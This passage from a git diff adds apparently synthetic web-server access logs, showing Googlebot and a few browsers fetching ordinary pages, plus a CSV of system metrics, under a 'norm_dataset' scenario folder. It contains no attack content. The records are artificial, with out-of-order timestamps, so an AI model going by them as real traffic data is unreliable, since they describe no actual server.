(compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:37 66.249.66.5 - - [02/Jul/2025:12:04:37 ] "GET /about HTTP/1.1" 200 18510 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:37 66.249.66.1 - - [02/Jul/2025:12:04:37 ] "GET /about HTTP/1.1" 301 40087 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:44 66.249.66.1 - - [02/Jul/2025:12:04:44 ] "GET /products/item/101 HTTP/1.1" 404 30310 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:40 66.249.75.13 - - [02/Jul/2025:12:04:40 ] "GET /products/item/203 HTTP/1.1" 200 24895 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:44 66.249.66.5 - - [02/Jul/2025:12:04:44 ] "GET / HTTP/1.1" 200 13227 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:41 66.249.66.5 - - [02/Jul/2025:12:04:41 ] "GET /services HTTP/1.1" 200 26298 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:40 66.249.75.13 - - [02/Jul/2025:12:04:40 ] "GET /products/item/203 HTTP/1.1" 200 46624 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:42 66.249.66.5 - - [02/Jul/2025:12:04:42 ] "GET /products/item/101 HTTP/1.1" 200 31535 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:43 66.249.75.13 - - [02/Jul/2025:12:04:43 ] "GET /products/item/101 HTTP/1.1" 200 48298 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:40 66.249.66.1 - - [02/Jul/2025:12:04:40 ] "GET /products/item/101 HTTP/1.1" 200 30245 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:44 66.249.75.13 - - [02/Jul/2025:12:04:44 ] "GET /products HTTP/1.1" 301 48274 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:46 66.249.66.1 - - [02/Jul/2025:12:04:46 ] "GET /products/item/101 HTTP/1.1" 200 27762 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:49 66.249.66.1 - - [02/Jul/2025:12:04:49 ] "GET /blog/post-2 HTTP/1.1" 200 13529 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:46 66.249.66.5 - - [02/Jul/2025:12:04:46 ] "GET /products/item/203 HTTP/1.1" 200 23278 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:46 66.249.66.5 - - [02/Jul/2025:12:04:46 ] "GET /services HTTP/1.1" 200 7691 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:48 66.249.66.5 - - [02/Jul/2025:12:04:48 ] "GET /products/item/203 HTTP/1.1" 200 18402 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:49 66.249.66.5 - - [02/Jul/2025:12:04:49 ] "GET /about HTTP/1.1" 200 38379 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:46 66.249.66.1 - - [02/Jul/2025:12:04:46 ] "GET /blog/post-1 HTTP/1.1" 200 2168 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:47 66.249.75.13 - - [02/Jul/2025:12:04:47 ] "GET / HTTP/1.1" 200 14950 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:47 66.249.66.5 - - [02/Jul/2025:12:04:47 ] "GET /products/item/101 HTTP/1.1" 200 39379 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:52 66.249.75.13 - - [02/Jul/2025:12:04:52 ] "GET /products HTTP/1.1" 200 2062 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:53 66.249.66.1 - - [02/Jul/2025:12:04:53 ] "GET /contact HTTP/1.1" 200 43280 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:51 66.249.75.13 - - [02/Jul/2025:12:04:51 ] "GET /products HTTP/1.1" 200 26017 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:54 66.249.66.5 - - [02/Jul/2025:12:04:54 ] "GET /blog/post-1 HTTP/1.1" 200 41478 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:50 66.249.66.1 - - [02/Jul/2025:12:04:50 ] "GET /services HTTP/1.1" 301 10979 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:57 66.249.66.1 - - [02/Jul/2025:12:04:57 ] "GET /contact HTTP/1.1" 200 47660 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:55 66.249.66.1 - - [02/Jul/2025:12:04:55 ] "GET /products/item/101 HTTP/1.1" 200 20303 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:04:56 66.249.66.5 - - [02/Jul/2025:12:04:56 ] "GET /blog/post-2 HTTP/1.1" 404 46676 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:04 66.249.66.1 - - [02/Jul/2025:12:05:04 ] "GET /products/item/203 HTTP/1.1" 200 47203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:00 66.249.66.1 - - [02/Jul/2025:12:05:00 ] "GET /blog/post-2 HTTP/1.1" 200 10201 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:03 66.249.66.1 - - [02/Jul/2025:12:05:03 ] "GET /blog/post-1 HTTP/1.1" 200 7773 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:01 66.249.66.5 - - [02/Jul/2025:12:05:01 ] "GET /products HTTP/1.1" 200 20148 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:02 66.249.66.1 - - [02/Jul/2025:12:05:02 ] "GET /products/item/203 HTTP/1.1" 200 20929 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:01 66.249.66.5 - - [02/Jul/2025:12:05:01 ] "GET /products HTTP/1.1" 200 14308 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:04 66.249.66.5 - - [02/Jul/2025:12:05:04 ] "GET /services HTTP/1.1" 200 44623 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:04 66.249.75.13 - - [02/Jul/2025:12:05:04 ] "GET /about HTTP/1.1" 200 40474 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:05 66.249.75.13 - - [02/Jul/2025:12:05:05 ] "GET /about HTTP/1.1" 200 13650 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:07 66.249.66.5 - - [02/Jul/2025:12:05:07 ] "GET /blog/post-2 HTTP/1.1" 200 41378 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:06 66.249.66.1 - - [02/Jul/2025:12:05:06 ] "GET /products HTTP/1.1" 200 10383 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:08 66.249.75.13 - - [02/Jul/2025:12:05:08 ] "GET /services HTTP/1.1" 200 19341 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:06 66.249.66.5 - - [02/Jul/2025:12:05:06 ] "GET /blog/post-2 HTTP/1.1" 200 5132 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:06 66.249.66.5 - - [02/Jul/2025:12:05:06 ] "GET / HTTP/1.1" 200 2566 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:08 66.249.75.13 - - [02/Jul/2025:12:05:08 ] "GET / HTTP/1.1" 200 37045 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:08 66.249.66.1 - - [02/Jul/2025:12:05:08 ] "GET / HTTP/1.1" 200 25754 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:06 66.249.66.1 - - [02/Jul/2025:12:05:06 ] "GET /services HTTP/1.1" 200 9774 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:06 66.249.75.13 - - [02/Jul/2025:12:05:06 ] "GET / HTTP/1.1" 200 21498 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:09 66.249.66.1 - - [02/Jul/2025:12:05:09 ] "GET / HTTP/1.1" 200 22980 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:06 66.249.66.5 - - [02/Jul/2025:12:05:06 ] "GET /products HTTP/1.1" 200 48506 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:09 66.249.75.13 - - [02/Jul/2025:12:05:09 ] "GET /services HTTP/1.1" 200 31339 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:07 66.249.75.13 - - [02/Jul/2025:12:05:07 ] "GET /blog/post-1 HTTP/1.1" 200 34663 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:14 66.249.66.5 - - [02/Jul/2025:12:05:14 ] "GET /services HTTP/1.1" 200 2362 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:12 66.249.66.1 - - [02/Jul/2025:12:05:12 ] "GET /about HTTP/1.1" 200 14850 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:12 66.249.66.5 - - [02/Jul/2025:12:05:12 ] "GET /products/item/203 HTTP/1.1" 200 19296 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:13 66.249.75.13 - - [02/Jul/2025:12:05:13 ] "GET /products HTTP/1.1" 200 46079 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:13 66.249.66.5 - - [02/Jul/2025:12:05:13 ] "GET /products/item/101 HTTP/1.1" 200 41693 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:12 66.249.66.1 - - [02/Jul/2025:12:05:12 ] "GET /blog/post-1 HTTP/1.1" 200 29278 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:14 66.249.75.13 - - [02/Jul/2025:12:05:14 ] "GET /products/item/101 HTTP/1.1" 200 14471 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:13 66.249.66.1 - - [02/Jul/2025:12:05:13 ] "GET / HTTP/1.1" 301 18765 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:11 66.249.75.13 - - [02/Jul/2025:12:05:11 ] "GET /blog/post-2 HTTP/1.1" 200 39072 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:11 66.249.66.1 - - [02/Jul/2025:12:05:11 ] "GET /products/item/101 HTTP/1.1" 200 23795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:14 66.249.66.1 - - [02/Jul/2025:12:05:14 ] "GET /about HTTP/1.1" 200 25692 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:10 66.249.75.13 - - [02/Jul/2025:12:05:10 ] "GET /about HTTP/1.1" 200 49452 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:15 66.249.66.5 - - [02/Jul/2025:12:05:15 ] "GET /services HTTP/1.1" 200 4612 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:16 66.249.66.1 - - [02/Jul/2025:12:05:16 ] "GET /blog/post-2 HTTP/1.1" 200 33009 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:17 66.249.66.5 - - [02/Jul/2025:12:05:17 ] "GET /blog/post-2 HTTP/1.1" 200 33002 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:17 66.249.75.13 - - [02/Jul/2025:12:05:17 ] "GET / HTTP/1.1" 200 16795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:18 66.249.66.1 - - [02/Jul/2025:12:05:18 ] "GET /about HTTP/1.1" 200 39287 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:22 66.249.75.13 - - [02/Jul/2025:12:05:22 ] "GET /contact HTTP/1.1" 200 25261 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:23 66.249.66.1 - - [02/Jul/2025:12:05:23 ] "GET /products/item/101 HTTP/1.1" 200 26681 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:22 66.249.75.13 - - [02/Jul/2025:12:05:22 ] "GET /products/item/101 HTTP/1.1" 200 15114 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:22 66.249.66.1 - - [02/Jul/2025:12:05:22 ] "GET / HTTP/1.1" 200 4478 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:24 66.249.66.5 - - [02/Jul/2025:12:05:24 ] "GET /products/item/101 HTTP/1.1" 200 24982 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:24 66.249.66.1 - - [02/Jul/2025:12:05:24 ] "GET /contact HTTP/1.1" 200 17568 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:20 66.249.66.5 - - [02/Jul/2025:12:05:20 ] "GET /blog/post-2 HTTP/1.1" 200 2482 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:20 66.249.75.13 - - [02/Jul/2025:12:05:20 ] "GET /blog/post-2 HTTP/1.1" 200 33969 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:23 66.249.75.13 - - [02/Jul/2025:12:05:23 ] "GET /blog/post-2 HTTP/1.1" 200 14665 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:23 66.249.66.1 - - [02/Jul/2025:12:05:23 ] "GET /contact HTTP/1.1" 301 9325 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:20 66.249.66.1 - - [02/Jul/2025:12:05:20 ] "GET /about HTTP/1.1" 200 6146 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:21 66.249.75.13 - - [02/Jul/2025:12:05:21 ] "GET /blog/post-1 HTTP/1.1" 200 39440 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:23 66.249.66.5 - - [02/Jul/2025:12:05:23 ] "GET /about HTTP/1.1" 200 16297 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:22 66.249.66.1 - - [02/Jul/2025:12:05:22 ] "GET /products HTTP/1.1" 200 15945 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:20 66.249.66.1 - - [02/Jul/2025:12:05:20 ] "GET /blog/post-1 HTTP/1.1" 200 20415 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:26 66.249.66.1 - - [02/Jul/2025:12:05:26 ] "GET /about HTTP/1.1" 200 27372 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:29 66.249.66.5 - - [02/Jul/2025:12:05:29 ] "GET /blog/post-1 HTTP/1.1" 200 46925 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:26 66.249.66.5 - - [02/Jul/2025:12:05:26 ] "GET /products/item/101 HTTP/1.1" 200 34156 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:25 66.249.66.5 - - [02/Jul/2025:12:05:25 ] "GET /services HTTP/1.1" 200 43409 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:25 66.249.66.5 - - [02/Jul/2025:12:05:25 ] "GET / HTTP/1.1" 200 5423 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:29 66.249.75.13 - - [02/Jul/2025:12:05:29 ] "GET /contact HTTP/1.1" 301 12710 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:26 66.249.66.5 - - [02/Jul/2025:12:05:26 ] "GET /products HTTP/1.1" 200 1542 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:28 66.249.66.1 - - [02/Jul/2025:12:05:28 ] "GET /blog/post-2 HTTP/1.1" 200 15855 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:29 66.249.66.5 - - [02/Jul/2025:12:05:29 ] "GET /blog/post-1 HTTP/1.1" 200 43708 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:29 66.249.66.1 - - [02/Jul/2025:12:05:29 ] "GET /products/item/203 HTTP/1.1" 200 19048 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:27 66.249.66.1 - - [02/Jul/2025:12:05:27 ] "GET /blog/post-2 HTTP/1.1" 404 29627 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:27 66.249.75.13 - - [02/Jul/2025:12:05:27 ] "GET /products/item/101 HTTP/1.1" 200 15483 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:05:30 10.0.0.54 - - [02/Jul/2025:12:05:30 ] "GET /about HTTP/1.1" 200 3765 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:43 192.168.1.101 - - [02/Jul/2025:12:05:43 ] "GET /products HTTP/1.1" 200 945 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:05:42 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:52 10.0.0.54 - - [02/Jul/2025:12:05:52 ] "GET /products/item/203 HTTP/1.1" 200 2604 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:05:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:57 172.16.31.200 - - [02/Jul/2025:12:05:57 ] "GET /products/item/203 HTTP/1.1" 200 3984 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:01 10.0.0.54 - - [02/Jul/2025:12:06:01 ] "GET /blog/post-2 HTTP/1.1" 200 4337 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:08 192.168.1.101 - - [02/Jul/2025:12:06:08 ] "GET /blog/post-1 HTTP/1.1" 200 786 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:14 10.0.0.54 - - [02/Jul/2025:12:06:14 ] "GET /products/item/203 HTTP/1.1" 200 1910 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:13 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:15 172.16.31.200 - - [02/Jul/2025:12:06:15 ] "GET /products/item/101 HTTP/1.1" 200 2509 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:25 192.168.1.101 - - [02/Jul/2025:12:06:25 ] "GET / HTTP/1.1" 200 4802 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:40 192.168.1.101 - - [02/Jul/2025:12:06:40 ] "GET /products HTTP/1.1" 200 2065 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:06:49 172.16.31.200 - - [02/Jul/2025:12:06:49 ] "GET /blog/post-1 HTTP/1.1" 200 592 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:06:48 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:11 172.16.31.200 - - [02/Jul/2025:12:07:11 ] "GET /products/item/203 HTTP/1.1" 200 1188 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:07:19 172.16.31.200 - - [02/Jul/2025:12:07:19 ] "GET /services HTTP/1.1" 200 1121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:20 10.0.0.54 - - [02/Jul/2025:12:07:20 ] "GET /products HTTP/1.1" 200 2390 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:07:26 172.16.31.200 - - [02/Jul/2025:12:07:26 ] "GET /blog/post-2 HTTP/1.1" 200 3910 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" diff --git a/norm_dataset/scenario_8/norm_8_6.csv b/norm_dataset/scenario_8/norm_8_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..660510f0d826a7e82d0f6d19ebf5205a6729f5eb --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T10:00:00Z,17.69,34.53,27.8,0.55,0.69 +2025-08-12T10:00:05Z,19.92,42.18,20.78,1.27,1.21 +2025-08-12T10:00:10Z,19.53,42.84,28.7,1.07,1.03 +2025-08-12T10:00:15Z,16.05,38.54,38.08,1.14,1.12 +2025-08-12T10:00:20Z,19.57,39.6,30.14,2.63,0.4 +2025-08-12T10:00:25Z,20.41,42.34,35.22,1.08,1.37 +2025-08-12T10:00:30Z,17.52,39.59,24.83,1.93,0.4 +2025-08-12T10:00:35Z,14.7,30.05,38.06,1.5,0.77 +2025-08-12T10:00:40Z,18.47,42.16,25.95,1.66,1.41 +2025-08-12T10:00:45Z,12.7,48.6,33.36,2.18,0.42 +2025-08-12T10:00:50Z,13.41,33.38,29.38,0.81,0.64 +2025-08-12T10:00:55Z,17.22,35.34,37.18,1.27,1.13 +2025-08-12T10:01:00Z,15.28,39.36,23.2,1.85,1.12 +2025-08-12T10:01:05Z,16.0,42.12,23.22,1.88,1.62 +2025-08-12T10:01:10Z,20.78,31.53,33.02,1.02,0.75 +2025-08-12T10:01:15Z,13.83,45.49,13.46,1.45,0.56 +2025-08-12T10:01:20Z,15.22,40.68,32.78,1.9,2.05 +2025-08-12T10:01:25Z,12.72,45.27,30.41,2.36,1.78 +2025-08-12T10:01:30Z,10.72,46.84,31.15,1.02,1.18 +2025-08-12T10:01:35Z,14.74,50.85,30.53,0.57,1.11 +2025-08-12T10:01:40Z,15.8,40.19,32.39,1.55,1.41 +2025-08-12T10:01:45Z,16.02,33.81,38.88,1.58,0.51 +2025-08-12T10:01:50Z,11.35,46.7,25.02,2.88,1.61 +2025-08-12T10:01:55Z,16.66,43.32,30.8,1.04,0.93 +2025-08-12T10:02:00Z,14.66,30.0,37.08,1.46,1.61 +2025-08-12T10:02:05Z,17.11,47.92,28.74,1.63,1.15 +2025-08-12T10:02:10Z,14.64,48.54,26.04,1.69,0.4 +2025-08-12T10:02:15Z,17.76,34.18,46.66,1.15,0.72 +2025-08-12T10:02:20Z,14.6,46.41,25.33,0.5,1.24 +2025-08-12T10:02:25Z,19.7,46.87,36.08,1.29,1.27 +2025-08-12T10:02:30Z,73.25,34.24,103.96,29.22,7.92 +2025-08-12T10:02:35Z,76.95,63.75,49.79,17.18,15.52 +2025-08-12T10:02:40Z,62.2,46.45,58.51,38.13,19.47 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- - [12/Aug/2025:10:03:15 +0000] "GET /products/456 HTTP/1.1" 200 24964 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.5 - - [12/Aug/2025:10:03:15 +0000] "GET /main.js HTTP/1.1" 200 19952 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.141 - - [12/Aug/2025:10:03:15 +0000] "GET /articles/top-10-destinations HTTP/1.1" 200 23752 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.5 - - [12/Aug/2025:10:03:15 +0000] "GET /login HTTP/1.1" 200 22428 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [12/Aug/2025:10:03:20 +0000] "GET /about-us HTTP/1.1" 301 419 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.13 - - [12/Aug/2025:10:03:20 +0000] "GET /products/456 HTTP/1.1" 301 439 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.141 - - [12/Aug/2025:10:03:20 +0000] "GET /styles.css HTTP/1.1" 200 26926 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.13 - - [12/Aug/2025:10:03:20 +0000] "GET /products/123 HTTP/1.1" 200 13620 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.141 - - [12/Aug/2025:10:03:20 +0000] "GET /contact HTTP/1.1" 404 444 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [12/Aug/2025:10:03:20 +0000] "GET /articles/how-to-setup-nginx HTTP/1.1" 200 13099 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.1 - - [12/Aug/2025:10:03:20 +0000] "GET /about-us HTTP/1.1" 200 8841 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.75.13 - - [12/Aug/2025:10:03:20 +0000] "GET /products/123 HTTP/1.1" 301 217 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.66.5 - - 